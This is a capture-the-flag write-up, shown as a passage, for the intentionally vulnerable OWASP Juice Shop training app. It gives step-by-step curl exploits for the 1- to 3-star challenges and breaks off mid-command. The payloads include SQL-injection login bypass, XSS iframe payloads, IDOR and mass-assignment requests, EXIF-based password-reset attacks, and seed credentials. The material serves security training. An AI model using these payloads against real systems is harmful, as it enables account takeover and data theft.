

OWASP Juice Shop - 181 Solved Challenges

Mosfaqur

OWASP Juice Shop — All 181 Solved Challenges

Detailed exploitation writeups for **OWASP Juice Shop v20.2.0** (MultiJuicer CTF instance). Every one of the **181 solved challenges** is covered: **111 hacking challenges** as individual step-by-step writeups and the **70 coding challenges** (find-it / fix-it) via their deterministic solution method.

Score-board progress	181 of 186 items solved
Hacking challenges	111 of 116 — writeups in this document
Coding challenges	70 of 70 (35 find-it + 35 fix-it)
Remaining (5)	3 AI/LLM + 2 Web3 — blocked at deployment level
Engagement result	CTF score 3870 — rank 1 of 8 teams

Redactions. Live competition access material (team session cookie, join passcode, proxy hostname) is removed. Every credential, hash, key and answer listed is static Juice Shop seed data or public-source material.

Contents

- [Executive Score Summary](#)
- [Solved Challenge Register](#)
- [1-Star Challenges — Writeups](#)

- [Two-Star Challenge Writeups \(★★\)](#)
 - [3-Star Challenges \(25\)](#)
 - [4-Star Challenges \(26\)](#)
 - [5-Star Challenges \(★★★★★\)](#)
 - [6-Star Challenges — ★★★★★★ \(11\)](#)
 - [Environment Setup & Network Architecture](#)
 - [Authentication Model \(as observed\)](#)
 - [Endpoints & Routes Reference](#)
 - [Coding Challenges — find-it / fix-it \(70/70 solved\)](#)
 - [Blocked Challenges \(5 remaining\)](#)
 - [Reusable Exploit Primitives](#)
 - [Key Credentials, Hashes & Data Points](#)
 - [Tools](#)
-

Executive Score Summary

- **Team:** threeidiots · **Result:** 3870 CTF points, rank 1 of 8 teams
 - **Hacking challenges solved:** 111 of 116 · **Coding challenges solved:** 70 of 70
 - **Breakdown by difficulty:** 13x 1-star challenges, 17x 2-star challenges, 25x 3-star challenges, 26x 4-star challenges, 19x 5-star challenges, 11x 6-star challenges
 - **Version fingerprinted:** v20.2.0 via Local File Read of /juice-shop/package.json
 - Exploitation categories exercised: Broken Access Control / IDOR, SQL injection (UNION schema & data exfiltration), XXE and XXE-DoS, YAML alias bombs, mass assignment, business-logic abuse, CSRF, SSTi to eval, SSRF, sandboxed RCE, zip-slip file write, reflected / DOM / persisted XSS, CSP injection, OSINT via EXIF, weak and reused credentials, JWT & crypto weaknesses (hardcoded HMAC key, weak/unsigned/algorithm-confused JWTs), NoSQL injection, and numerous security misconfigurations.
-

Solved Challenge Register

1-Star Challenges (13)

- 1. Score Board
- 1. Confidential Document
- 1. Error Handling
- 1. Zero Stars
- 1. Exposed Metrics
- 1. Missing Encoding
- 1. Repetitive Registration
- 1. Outdated Allowlist
- 1. DOM XSS
- 1. Bonus Payload
- 1. Privacy Policy
- 1. Mass Dispel
- 1. Web3 Sandbox

2-Star Challenges (17)

- 1. Security Policy
- 1. Empty User Registration
- 1. Weird Crypto
- 1. Deprecated Interface
- 1. View Basket
- 1. Login Admin
- 1. Five-Star Feedback
- 1. Password Hash Leak
- 1. Exposed Credentials
- 1. Admin Section
- 1. Meta Geo Stalking
- 1. Visual Geo Stalking
- 1. Reflected XSS
- 1. Misplaced IaC Files
- 1. Password Strength
- 1. Login MC SafeSearch
- 1. NFT Takeover

3-Star Challenges (25)

- 1. Manipulate Basket
- 1. Forged Feedback
- 1. Forged Review
- 1. Payback Time
- 1. XXE Data Access
- 1. Database Schema
- 1. CAPTCHA Bypass
- 1. Product Tampering
- 1. Security Advisory (CSAF)
- 1. Vulnerable Infrastructure
- 1. Deluxe Fraud
- 1. CSRF
- 1. Privacy Policy Inspection
- 1. Upload Size
- 1. Upload Type
- 1. Admin Registration
- 1. Reset Jim's Password
- 1. Bjoern's Favorite Pet (OWASP reset)
- 1. GDPR Data Erasure (Ghost Login)
- 1. API-only XSS
- 1. Login Amy
- 1. Login Bender
- 1. Login Jim
- 1. Client-side XSS Protection
- 1. System Prompt Extraction

4-Star Challenges (26)

- 1. Poison Null Byte
- 1. Misplaced Signature File
- 1. Forgotten Developer Backup
- 1. Access Log
- 1. Easter Egg
- 1. Nested Easter Egg
- 1. Forgotten Sales Backup
- 1. Christmas Special
- 1. Ephemeral Accountant
- 1. Steganography
- 1. HTTP-Header XSS
- 1. Vulnerable Library
- 1. NoSQL Manipulation

- 1. Login Bjoern (OAuth)
- 1. Server-side XSS Protection
- 1. Allowlist Bypass
- 1. Reset Bender's Password
- 1. Reset Uvogin's Password
- 1. Legacy Typosquatting
- 1. User Credentials (UNION SQLi)
- 1. GDPR Data Theft (*team activity*)
- 1. Leaked Unsafe Product (*team activity*)
- 1. Login Cloud Admin (*team activity*)
- 1. Expired Coupon (*team activity*)
- 1. NoSQL DoS
- 1. CSP Bypass (*team activity*)

5-Star Challenges (19)

- 1. Reset Bjoern's (internal) Password
- 1. Reset Morty's Password
- 1. Email Leak (*team activity*)
- 1. Extra Language
- 1. Unsigned JWT (*team activity*)
- 1. NoSQL Exfiltration (orders) (*team activity*)
- 1. Leaked Access Logs (password spraying)
- 1. Local File Read
- 1. Blocked RCE DoS
- 1. Memory Bomb (YAML)
- 1. Change Bender's Password (*team activity*)
- 1. Retrieve Blueprint (*team activity*)
- 1. Supply Chain Attack (*team activity*)
- 1. Cross-Site Imaging (SVG)
- 1. Blockchain Hype (token sale) (*team activity*)
- 1. Two Factor Authentication (*team activity*)
- 1. Frontend Typosquatting (Angular) (*team activity*)
- 1. XXE DoS
- 1. Leaked API Key (*team activity*)

6-Star Challenges (11)

- 1. Imaginary Challenge
- 1. Arbitrary File Write
- 1. Forged Coupon
- 1. Forged Signed JWT

- 1. Login Support Team
- 1. Premium Paywall
- 1. Successful RCE DoS
- 1. SSRF
- 1. SSTi
- 1. Multiple Likes
- 1. Video XSS

Coding Challenges (70)

The 70 coding challenges (35 find-it + 35 fix-it) are solved deterministically via the unauthenticated `/snippets` endpoints using `tools/coding_challenge_solver.mjs`. See the Coding Challenges section below.

1-Star Challenges — Writeups

Summary: 1. Score Board · 2. Confidential Document · 3. Error Handling · 4. Zero Stars · 5. Exposed Metrics · 6. Missing Encoding · 7. Repetitive Registration · 8. Outdated Allowlist · 9. DOM XSS · 10. Bonus Payload · 11. Privacy Policy · 12. Mass Dispel · 13. Web3 Sandbox.

Prerequisites: Instance is OWASP Juice Shop v20.2.0 served behind the MultiJuicer reverse proxy. Every HTTP request must carry the team proxy cookie `Cookie: multi-juicer=<team-cookie>`, otherwise any path 302s to `/multi-juicer`. In the examples below the proxy origin is `<proxy-host>` and all requests assume the cookie; no auth (JWT) is needed for any of these 13 challenges. Live cookie/passcode/ host values are intentionally `<redacted>`.

1. Score Board

Difficulty: ★ | Vulnerability class: Broken Access Control — hidden resource (CWE-425)

- Attack surface: SPA route `#!/score-board`; client bundle `main.js`
- Root cause: The route table is shipped unauthenticated in `main.js`, and no RBAC/guard protects the hidden page — it exists for anyone who knows (or finds) the path.

- Exploit:

1. Pull the client bundle and look for route strings:

```
curl -s -b 'multi-juicer=<team-cookie>' https://<proxy-host>/main.js | grep -o 'score-board'
```

2. Navigate directly to the hidden route (no login required):

```
https://<proxy-host>/#/score-board
```

- Verification: The Score Board page loads and its tile turns green.

2. Confidential Document

Difficulty: ★ | Vulnerability class: Sensitive Data Exposure (CWE-552)

- Attack surface: /robots.txt, /ftp, /ftp/acquisitions.md
- Root cause: /ftp is exposed with directory listing enabled, and crawler disallow-lists in robots.txt advertise exactly where the interesting files live.

- Exploit:

1. Read the crawler policy:

```
curl -s -b 'multi-juicer=<team-cookie>' https://<proxy-host>/robots.txt
```

2. List the /ftp directory:

```
curl -s -b 'multi-juicer=<team-cookie>' https://<proxy-host>/ftp
```

3. Download the confidential document found in the listing:

```
curl -s -b 'multi-juicer=<team-cookie>' https://<proxy-host>/ftp/acquisitions.md
```

- Verification: File contents returned; challenge solved (tile green on score board).

3. Error Handling

Difficulty: ★ | Vulnerability class: Information Exposure Through an Error Message (CWE-209)

- Attack surface: any route that bubbles an unhandled exception, e.g. /rest/products/search

- Root cause: Production is left with the development error handler: raw Sequelize/SQLite stack traces are rendered into the HTML response along with the Express ^4.22.1 version banner (as fingerprinted in JUICE.md).
- Exploit:
 1. Provoke a SQL error with a stray quote in the search term:


```
curl -s -b 'multi-juicer=<team-cookie>' 'https://<proxy-host>/rest/products/search?q='
```
 2. Inspect the response body: it is an HTML error page exposing the raw SQLite stack trace (Sequelize internals) and the Express banner.
- Verification: A 500-style page with the leaked stack trace is returned; challenge solved.

4. Zero Stars

Difficulty: ★ | Vulnerability class: Improper Input Validation (CWE-20)
+ broken CAPTCHA

- Attack surface: GET /rest/captcha/, POST /api/Feedbacks/
- Root cause: The star-rating bounds are only enforced in the UI — rating: 0 is accepted by the API. The arithmetic CAPTCHA is also weak by design: the endpoint returns the answer in plaintext JSON alongside the challenge.

- Exploit:
 1. Obtain a CAPTCHA (response contains captchaId, captcha, and the plaintext answer):

```
curl -s -b 'multi-juicer=<team-cookie>' https://<proxy-host>/rest/captcha/
```

2. Submit feedback with rating: 0 and the solved CAPTCHA (anonymous POST is allowed):

```
curl -s -b 'multi-juicer=<team-cookie>' \
  -H 'Content-Type: application/json' \
  -d '{"comment":"not even one star","rating":0,"captchaId":<id>,"captcha":"<answer>"}' \
  https://<proxy-host>/api/Feedbacks/
```

- Verification: The zero-star feedback is stored (no 401/validation error); challenge solved.

5. Exposed Metrics

Difficulty: ★ | Vulnerability class: Exposure of Sensitive Information (CWE-200)

- Attack surface: GET /metrics
- Root cause: The Prometheus metrics endpoint is mounted unauthenticated on its default path; no auth middleware or IP allow-list is applied (it is reachable without any JWT).
- Exploit:

```
curl -s -b 'multi-juicer=<team-cookie>' https://<proxy-host>/metrics
```

- Verification: The response is Prometheus text-format usage/process metrics (no 401 No Authorization header was found); challenge solved.

6. Missing Encoding

Difficulty: ★ | Vulnerability class: Improper URL Encoding / Broken Link (CWE-116)

- Attack surface: Photo Wall image URLs (/assets/public/images/uploads/...)
- Root cause: Photo filenames contain a literal # (and non-ASCII characters) that are never URL-encoded when referenced. # starts the URI fragment, so browsers truncate the request and the image "cannot be loaded correctly" on the Photo Wall.
- Exploit:
 1. Inspect the Photo Wall entry for Bjoern's cat that fails to render; its src breaks at the # in the filename.
 2. Request the file with every reserved/raw character percent-encoded (# → %23):

```
curl -s -b 'multi-juicer=<team-cookie>' \
  'https://<proxy-host>/assets/public/images/uploads/
  %e1%93%9a%e1%98%8f%e1%97%a2-%23zatschi-
  %23whoneedsfourlegs-1572600969477.jpg'
```

- Verification: HTTP 200 and the photo (cat in "melee combat-mode") is retrieved; challenge solved.

7. Repetitive Registration

Difficulty: ★ | Vulnerability class: Client-side-only validation (CWE-602)

- Attack surface: POST /api/Users/
- Root cause: The "Repeat Password" (passwordRepeat) equality check exists only in the browser form; the server-side registration accepts any passwordRepeat, so the field provides no real validation (the DRY/repetition protection is bypassable).
- Exploit:
 1. Register normally to learn the request shape, then re-issue the POST with the repeat field tampered:

```
curl -s -b 'multi-juicer=<team-cookie>' \
  -H 'Content-Type: application/json' \
  -d '{"email":"<new-email>@juice-sh.op","password":"<some-password>","passwordRepeat":"<different-value>"}' \
  https://<proxy-host>/api/Users/
```
 2. passwordRepeat need not equal password (or may be empty) — the request is not rejected on that basis server-side.
- Verification: The solver trips on the mismatched repeat field; challenge solved without any client-side check being hit.

8. Outdated Allowlist

Difficulty: ★ | Vulnerability class: Unvalidated Redirects and Forwards (CWE-601)

- Attack surface: redirect endpoint /redirect?to=<url>
- Root cause: The redirect allowlist still contains legacy cryptocurrency donation URLs (blockchain.info, explorer.dash.org, etherscan.io address pages from the pinned release's lib/insecurity.ts) that are no longer promoted anywhere in the UI — the developers removed the references from the code/links but never cleaned up the allowlist.
- Exploit:
 1. Recover the still-allowlisted legacy donation URLs (they survive in the client bundle main.js / pinned source but are no longer linked in the shop).
 2. Ask the server to redirect to one of them (allowlist match → redirect is issued):

```
curl -s -b 'multi-juicer=<team-cookie>' \
  'https://<proxy-host>/redirect?to=https://
  explorer.dash.org/address/<legacy-donation-
  address>'
```

(the blockchain.info / etherscan.io legacy donation URLs work identically)

- Verification: The server follows the redirect instead of answering 406 Unrecognized target URL; challenge solved. Note: merely visiting the donation link directly does not solve it — the request must go through the redirect endpoint.

9. DOM XSS

Difficulty: ★ | Vulnerability class: DOM-based XSS (CWE-79)

- Attack surface: `/#/search` (search box / q sink rendered via `bypassSecurityTrustHtml`)
- Root cause: The search term is injected into the page as trusted HTML (Angular `bypassSecurityTrustHtml`), so an unescaped `<iframe>` in the query is executed in the DOM instead of being treated as text.
- Exploit:
 1. Open the search page:

`https://<proxy-host>/#/search`
 2. Type the payload into the search box and submit (do not URL-encode it):

`<iframe src="javascript:alert(`xss`)">`
 3. The frontend detects the payload and emits `verifyLocalXssChallenge` over `Socket.IO`, which the server-side solve handler matches.
- Verification: The alert-bearing iframe executes (DOM XSS) and the score-board tile turns green.

10. Bonus Payload

Difficulty: ★ | Vulnerability class: DOM-based XSS with configured payload (CWE-79)

- Attack surface: `/#/search` (same sink as DOM XSS)

- Root cause: The app ships a "bonus" XSS payload in its configuration — an allowed SoundCloud embed <iframe>; submitting that exact payload as the search term counts as an XSS trigger because the solver compares the emitted term against the configured `xssBonusPayload`.
- Exploit:
 1. Solve DOM XSS first (challenge #9), then paste the configured SoundCloud iframe into the search box and submit:


```
<iframe width="100%" height="166" scrolling="no"
frameborder="no" allow="autoplay" src="https://
w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/
tracks/
771984076&color=%23ff5500&auto_play=true&hide_related=false&
iframe>
```
 2. The embed is rendered (and plays — the payload is a live SoundCloud track) while the frontend reports the term over Socket.IO.
- Verification: The SoundCloud player renders in the search result and the score-board tile for Bonus Payload turns green.

11. Privacy Policy

Difficulty: ★ | Vulnerability class: — (no flaw; security-awareness/tutorial)

- Attack surface: SPA route `/#/privacy-security/privacy-policy`
- Root cause: None — this challenge only requires actually reading the policy page.
- Exploit:
 1. Navigate to the privacy policy route:


```
https://<proxy-host>/#/privacy-security/privacy-policy
```
 2. Let the page load (a crawler/spider visiting the route would also solve it).
- Verification: Score-board tile turns green after the route is visited.

12. Mass Dispel

Difficulty: ★ | Vulnerability class: Missing server-side validation of a client convenience event (CWE-602)

- Attack surface: Socket.IO endpoint (/socket.io), event `verifyCloseNotificationsChallenge`
- Root cause: "Close all solved-notifications" is implemented as a client-emitted Socket.IO event that the server relays/solves on with no authenticity or count check. Any client that emits it with more than one notification payload gets all of them dismissed (and the challenge solved).
- Exploit:
 1. Build up >1 pending "Challenge solved" notifications (easiest right after an instance restart, or by replaying solved-challenge notifications).
 2. Connect a raw Socket.IO client and emit the event with an array of length > 1:

```
// node -e "..."  
const { io } = require('socket.io-client')  
const s = io('https://<proxy-host>', { extraHeaders: {  
  Cookie: 'multi-juicer=<team-cookie>' } })  
s.on('connect', () =>  
  s.emit('verifyCloseNotificationsChallenge',  
    ['close', 'close']))
```

(Clicking the UI's "close all" with several stacked notifications fires the same event.)

- Verification: Multiple notifications are cleared in one go and the Mass Dispel tile turns green.

13. Web3 Sandbox

Difficulty: ★ | Vulnerability class: Broken Access Control — unlinked dev route (CWE-425)

- Attack surface: SPA route `/#/web3-sandbox`
- Root cause: A developer/testing page (an online smart-contract code sandbox) was shipped in the SPA but left unlinked and without any access control — reachable by anyone who finds the route (it shows up in the `main.js` route table, exactly like the Score Board).
- Exploit:
 1. Discover the route string in the client bundle:

```
curl -s -b 'multi-juicer=<team-cookie>' https://<proxy-host>/main.js | grep -o 'web3-sandbox'
```

2. Navigate directly to the unlinked dev route:

```
https://<proxy-host>/#/web3-sandbox
```

- Verification: The sandbox page loads (no login gate) and the challenge tile turns green.
-

Two-Star Challenge Writeups (★★)

Findings **14–30** of JUICE.md "2-Star Findings" — 17 challenges, matching the register line ★★ (17): ... **1:1** (names and count cross-checked; no drift).

Prerequisites: Instance is **Juice Shop v20.2.0** behind the team **MultiJuicer** proxy. Every request needs the team multi-juicer session cookie, or any path 302s to /multi-juicer (cookie value <redacted>, base URL <redacted>). Two auth channels exist (see docs/authentication-model.md): most /rest+/api routes read Authorization: Bearer <jwt>, while whoami-style routes read Cookie: token=<jwt>. Values JUICE.md does not state are left as <redacted>.

Solved (in difficulty order):

1. Security Policy — valid security.txt
2. Empty User Registration — empty email accepted
3. Weird Crypto — MD5 in JWT
4. Deprecated Interface — legacy B2B XML upload
5. View Basket — basket IDOR
6. Login Admin — SQLi
7. Five-Star Feedback — non-admin delete
8. Password Hash Leak — whoami projection
9. Exposed Credentials — creds in main.js
10. Admin Section — admin panel route
11. Meta Geo Stalking — John EXIF → Daniel Boone National Forest
12. Visual Geo Stalking — Emma → ITsec
13. Reflected XSS — track-order iframe
14. Misplaced IaC Files — .tf/Dockerfile paths
15. Password Strength — admin123

- 16. Login MC SafeSearch — lyric password
- 17. NFT Takeover — wallet-level team activity

1. Security Policy

Difficulty: ★★ | Vulnerability class: security misconfiguration (policy hygiene)

- Attack surface: GET /.well-known/security.txt (also robots.txt, /api/Challenges/).
- Root cause: precondition/sanity challenge — the instance must serve a *valid* RFC 9116 security.txt at the standard path; solved when the file is present and well-formed.
- Exploit:

```
curl -i '<redacted>/well-known/security.txt'
```

Confirm HTTP/1.1 200 and RFC 9116 structure (Contact:/Expires:/... directives).

- Verification: /api/Challenges/ lists Security Policy as solved after a valid fetch.

2. Empty User Registration

Difficulty: ★★ | Vulnerability class: missing input validation

- Attack surface: POST /api/Users/ (registration).
- Root cause: no server-side rejection of empty-string identifiers — an account with an empty email is accepted.
- Exploit:

```
curl -s '<redacted>/api/Users/' -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <redacted>' \
  -d '{ "email": "", "password": "<redacted>", "passwordRepeat": "<redacted>" }
```

- Verification: response returns a created user object; Empty User Registration flips to solved.

3. Weird Crypto

Difficulty: ★★ | Vulnerability class: CWE-916 (weak password hashing) / CWE-327

- Attack surface: JWT returned by `POST /rest/user/login`.
- Root cause: passwords are hashed with plain unsalted **MD5**, and the digest is embedded inside the JWT payload.
- Exploit:
 1. Log in as admin (SQLi `admin@juice-sh.op' -- or admin123`).
 2. Decode the middle (payload) segment of `authentication.token`:

```
echo '<jwt.payload.segment>' | base64 -d
```
 3. Read the password field: `0192023a7bbd73250516f069df18b500`.
 4. Cross-check: `md5('admin') = 0192023a7bbd73250516f069df18b500`.
- Verification: Weird Crypto solved; admin MD5 matches the documented hash exactly.

4. Deprecated Interface

Difficulty: ★★ | Vulnerability class: CWE-477 (use of deprecated/legacy functionality)

- Attack surface: `POST /file-upload` (multipart field `file`).
- Root cause: the legacy B2B **XML** order interface was left active on the public upload endpoint.
- Exploit:

```
curl -s '<redacted>/file-upload' -H 'Authorization: Bearer <redacted>' \
-F 'file=@b2b-order.xml'
```

Submit a document in the old B2B XML order format.

- Verification: endpoint accepts the deprecated format and Deprecated Interface is solved.

5. View Basket

Difficulty: ★★ | Vulnerability class: CWE-639 (IDOR / BOLA)

- Attack surface: `GET /rest/basket/:id`.
- Root cause: basket read is authorized only by "has a session", never by ownership of the basket.

- Exploit:

```
curl -s '<redacted>/rest/basket/1' -H 'Authorization: Bearer <redacted>'
```

Basket 1 is the admin's basket (bid 1), visible to any other valid user.

- Verification: response contains another user's basket contents; View Basket solved.

6. Login Admin

Difficulty: ★★ | Vulnerability class: CWE-89 (SQL injection)

- Attack surface: POST /rest/user/login — raw SQL SELECT * FROM Users WHERE email='..' AND password='..' AND deletedAt IS NULL.
- Root cause: the email is concatenated into the query; - - comments out the password and deletedAt checks.
- Exploit:

```
curl -s '<redacted>/rest/user/login' -H 'Content-Type: application/json' \
  -d '{"email\":"admin@juice-sh.op' --\","password\":"x\"}"
```

- Verification: returns an admin JWT (role: admin) in authentication.token; Login Admin solved.

7. Five-Star Feedback

Difficulty: ★★ | Vulnerability class: CWE-284 (improper authorization)

- Attack surface: DELETE /api/Feedbacks/:id.
- Root cause: deletion is allowed for non-admin users; the verifier triggers when a non-admin deletes a 5-star feedback.
- Exploit:

1. Log in as a regular (non-admin) user, take the Bearer token.
2. List feedback: GET /api/Feedbacks/ and pick a 5-star entry id.

```
3. curl -s -X DELETE '<redacted>/api/Feedbacks/<id>' -H 'Authorization: Bearer <redacted>'
```

- Verification: Five-Star Feedback solved after the non-admin delete.

8. Password Hash Leak

Difficulty: ★★ | Vulnerability class: CWE-200 (information disclosure via mass-assignment projection)

- Attack surface: GET /rest/user/whoami?fields=....
- Root cause: the ?fields= attribute projection is applied unchecked, so protected columns (password) can be requested.
- Exploit:

```
curl -s '<redacted>/rest/user/whoami?fields=id,email,password,role' -H 'Cookie: token=<redacted>'
```

- Verification: JSON response includes the password hash (and role); Password Hash Leak solved.

9. Exposed Credentials

Difficulty: ★★ | Vulnerability class: CWE-798 (hard-coded credentials)

- Attack surface: static frontend bundle main.js; then POST /rest/user/login.
- Root cause: a test admin account's credentials ship inside the client-side bundle.
- Exploit:

```
1. curl -s '<redacted>/main.js' | grep -o 'testing@juice-sh.op\|IamUsedForTesting'
```

2. Log in with the leaked pair:

```
curl -s '<redacted>/rest/user/login' -H 'Content-Type: application/json' \
  -d '{"email":"testing@juice-sh.op","password":"IamUsedForTesting"}'
```

- Verification: login returns an admin token; Exposed Credentials solved.

10. Admin Section

Difficulty: ★★ | Vulnerability class: CWE-284 (broken access control on UI route)

- Attack surface: SPA route `/#/administration` (browser navigation after admin login).
- Root cause: the administration panel is only reachable/gated by client-side role, which the SQLi-login bypass grants.
- Exploit:
 1. Obtain an admin session (see #6: `email=admin@juice-sh.op'--`).
 2. Inject the token into the SPA (`localStorage['token']`) and navigate to `/#/administration`.
- Verification: the admin dashboard renders; Admin Section solved.

11. Meta Geo Stalking

Difficulty: ★★ | Vulnerability class: CWE-200 (EXIF/GPS metadata disclosure) → OSINT

- Attack surface: photo asset EXIF; `POST /rest/user/reset-password` for `john@juice-sh.op`.
- Root cause: John's uploaded photo retains EXIF GPS coordinates, revealing his location and thus his security-question answer.
- Exploit:

1. Download John's photo and dump metadata:

```
exiftool john.jpg # GPS: 36°57'31.38"N 84°20'53.58"W
```

2. Reverse-geocode the coordinates → **Daniel Boone National Forest**.

3. Reset his account with the answer:

```
curl -s '<redacted>/rest/user/reset-password' -H 'Content-Type: application/json' \
  -d '{"email":"john@juice-sh.op","answer":"Daniel Boone National Forest","new":"<redacted>","repeat":"<redacted>"}
```

- Verification: reset succeeds (answer HMAC matches) and Meta Geo Stalking is solved.

12. Visual Geo Stalking

Difficulty: ★★ | Vulnerability class: CWE-200 (photo content disclosure)
→ OSINT

- Attack surface: Emma's "old workplace" photo; POST /rest/user/reset-password for emma@juice-sh.op.
- Root cause: visual clues in the photo (building signage) identify the former employer, which is the security-question answer.
- Exploit:
 1. View Emma's photo on the photo wall and read the visible company sign.
 2. Submit the answer **ITsec** for emma@juice-sh.op:

```
curl -s '<redacted>/rest/user/reset-password' -H 'Content-Type: application/json' \
  -d '{"email":"emma@juice-sh.op","answer":"ITsec","new":"<redacted>","repeat":"<redact
```

- Verification: reset succeeds and Visual Geo Stalking is solved.

13. Reflected XSS

Difficulty: ★★ | Vulnerability class: CWE-79 (reflected XSS)

- Attack surface: GET /rest/track-order/:id.
- Root cause: the order-id path segment is reflected without encoding; the server-side verifier solves on receipt of the crafted id.
- Exploit:

```
curl -s --path-as-is \
  '<redacted>/rest/track-order/
%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E'
```

Raw payload reflected: <iframe src="javascript:alert(\xss`)">`.

- Verification: response reflects the payload unencoded and Reflected XSS is solved.

14. Misplaced IaC Files

Difficulty: ★★ | Vulnerability class: CWE-538 / CWE-540 (source-of-truth files in web root)

- Attack surface: any URL whose path ends in .tf, Dockerfile, or docker-compose.yml.

- Root cause: infrastructure-as-code files are served/matched by the app, leaking that they live in the deployed tree.
- Exploit:

```
curl -i '<redacted>/misplaced/terraform-file.tf'
curl -i '<redacted>/Dockerfile'
curl -i '<redacted>/docker-compose.yml'
```

- Verification: server answers the crafted paths (challenge solved on request, no valid route needed).

15. Password Strength

Difficulty: ★★ | Vulnerability class: CWE-521 (weak password)

- Attack surface: POST /rest/user/login (pre-login credential check).
- Root cause: the admin account uses the trivially weak password admin123; the pre-login check fires before auth.
- Exploit:

```
curl -s '<redacted>/rest/user/login' -H 'Content-Type: application/json' \
  -d '{"email": "admin@juice-sh.op", "password": "admin123"}'
```

- Verification: login succeeds and Password Strength is solved.

16. Login MC SafeSearch

Difficulty: ★★ | Vulnerability class: CWE-521 / CWE-798 (credential disclosed in content)

- Attack surface: SPA music page (lyrics); POST /rest/user/login.
- Root cause: MC SafeSearch's own song leaks his password in the lyrics; the account reuses it.
- Exploit:
 1. Play MC SafeSearch's track on the music page and read the lyric — the password is embedded in the text (value <redacted>).

```
2. curl -s '<redacted>/rest/user/login' -H 'Content-Type: application/json' \
  -d '{"email": "mc.safesearch@juice-sh.op", "password": "<redacted>"}'
```

- Verification: login returns a valid token; Login MC SafeSearch solved.

17. NFT Takeover

Difficulty: ★★ | Vulnerability class: CWE-798 / wallet-authorization failure (*team activity*)

- Attack surface: NFT unlock endpoint (`/rest/nft...`, Web3 wallet surface).
 - Root cause: the unlock logic accepts the wallet private key directly, handing over the full wallet.
 - Exploit: solved as **team activity** at the wallet level — the private key was accepted at the `/rest/nft...` unlock endpoint, giving full-wallet takeover; proof was submitted on the shared instance. Not replayed from the authoring session.
 - Verification: NFT Takeover marked solved on the shared team instance (see register note on team-activity entries).
-

3-Star Challenges (25)

Detailed writeups for every ★★★ challenge in the register (findings 31–53 of JUICE.md). Cross-checked against the register line

★★★ (25): Manipulate Basket, CAPTCHA Bypass, Product Tampering, Security Advisory, CSRF, Database Schema, Forged Feedback, Forged Review, Deluxe Fraud, GDPR Data Erasure, Login Amy, Login Bender, Login Jim, Payback Time, Client-side XSS Protection, Privacy Policy Inspection, Admin Registration, Bjoern's Favorite Pet, Reset Jim's Password, API-only XSS, Upload Size, Upload Type, Vulnerable Infrastructure, XXE Data Access, System Prompt Extraction

which lists the same 25 challenges documented below (GDPR Data Erasure = Ghost Login; Bjoern's Favorite Pet = OWASP reset).

Prerequisites (this instance): Juice Shop v20.2.0 behind the MultiJuicer reverse proxy. Every request needs the team multi-juicer session cookie and `https://<host>/... ()`. Use a Bearer JWT (Authorization: Bearer \$T) for `/rest + /api` routes, the token cookie for `/profile, /dataerasure` etc. Sources: `docs/endpoint-reference.md` and `docs/authentication-model.md`. Placeholders below: \$T = logged-in JWT, \$B ID = your basket id from the login response (`authentication.bid`), \$C = session cookie jar. Re-read `/api/Challenges/` before re-attempting.

Summary

1. Manipulate Basket · 2. Forged Feedback · 3. Forged Review · 4. Payback Time · 5. XXE Data Access · 6. Database Schema · 7. CAPTCHA Bypass ·
 2. Product Tampering · 9. Security Advisory (CSAF) · 10. Vulnerable Infrastructure · 11. Deluxe Fraud · 12. CSRF · 13. Privacy Policy Inspection · 14. Upload Size · 15. Upload Type · 16. Admin Registration ·
 3. Reset Jim's Password · 18. Bjoern's Favorite Pet (OWASP reset) ·
 4. GDPR Data Erasure (Ghost Login) · 20. API-only XSS · 21. Login Amy ·
 5. Login Bender · 23. Login Jim · 24. Client-side XSS Protection ·
 6. System Prompt Extraction
-

1. Manipulate Basket

Difficulty: ★★★ | Vulnerability class: CWE-639 (Authorization Bypass Through User-Controlled Key)

- Attack surface: `POST /api/BasketItems/`
- Root cause: the endpoint trusts a client-supplied `BasketId`; the guard only inspects the *first* `BasketId` field, while the item is built and verified from the *last* one.
- Exploit:
 1. Register/login a low-priv user, note `$BID` from the login response (admin's basket is id 1).
 2. POST a basket item whose first `BasketId` equals your own `$BID` (passes the guard) and whose last `BasketId` is the victim's (1); the verifier fires because `user.bid != last BasketId` and the item is saved into basket 1:

```
curl -s -X POST https://<host>/api/BasketItems/ \
  -H "Authorization: Bearer $T" -H 'Content-Type:
application/json' \
  --data
  '{"ProductId":1,"BasketId":'$BID',"quantity":1,"BasketId":1}'
```

- Verification: item appears in the foreign basket (`GET /rest/basket/1`) and `basketManipulateChallenge` shows solved in `/api/Challenges/`.

2. Forged Feedback

Difficulty: ★★★ | Vulnerability class: CWE-915 (Improperly Controlled Modification of Object Attributes / mass assignment)

- Attack surface: POST /api/Feedbacks/
- Root cause: UserId is taken from the request body instead of the session, so feedback can be attributed to any account.
- Exploit:
 1. Fetch a fresh captcha: GET /rest/captcha/ →
`{"captchaId":N,"answer":".."}`.
 2. POST feedback with UserId of another user (admin = 1) while authenticated as yourself:


```
curl -s -X POST https://<host>/api/Feedbacks/ \
  -H "Authorization: Bearer $T" -H 'Content-Type:
application/json' \
  --data
'{"captchaId":N,"captcha":"<answer>","comment":"signed as
admin","rating":5,"UserId":1}'
```
- Verification: the verifier (`req.body.UserId != session id`) flips `forgedFeedbackChallenge`; the stored record is attributed to user id 1.

3. Forged Review

Difficulty: ★★★ | Vulnerability class: CWE-863 (Incorrect Authorization)

- Attack surface: POST /rest/products/:id/reviews (create) / PUT /rest/products/:id/reviews (update)
- Root cause: review author is client-controlled at write time and never reconciled with the token identity.
- Exploit:
 1. Log in as a normal user, then write a review under someone else's identity:


```
curl -s -X POST https://<host>/rest/products/1/reviews \
  -H "Authorization: Bearer $T" -H 'Content-Type:
application/json' \
  --data '{"message":"great product","author":"admin@juice-
sh.op"}'
```
 2. (Alternative, review-update variant) PUT /rest/products/1/reviews with `{"id":"<existing foreign review`

- `_id>","message":"..."} — modifying a review originally authored by a different account also satisfies the verifier.`
- Verification: GET `/rest/products/1/reviews` shows the forged author; `forgedReviewChallenge` solved.

4. Payback Time

Difficulty: ★★★ | Vulnerability class: CWE-840 (Business Logic Errors)

- Attack surface: POST `/api/BasketItems/` + POST `/rest/basket/:id/checkout`
- Root cause: negative quantities are accepted, so an order total can be driven below zero.
- Exploit:
 1. Add a product with a negative quantity to your own basket:

```
curl -s -X POST https://<host>/api/BasketItems/ \
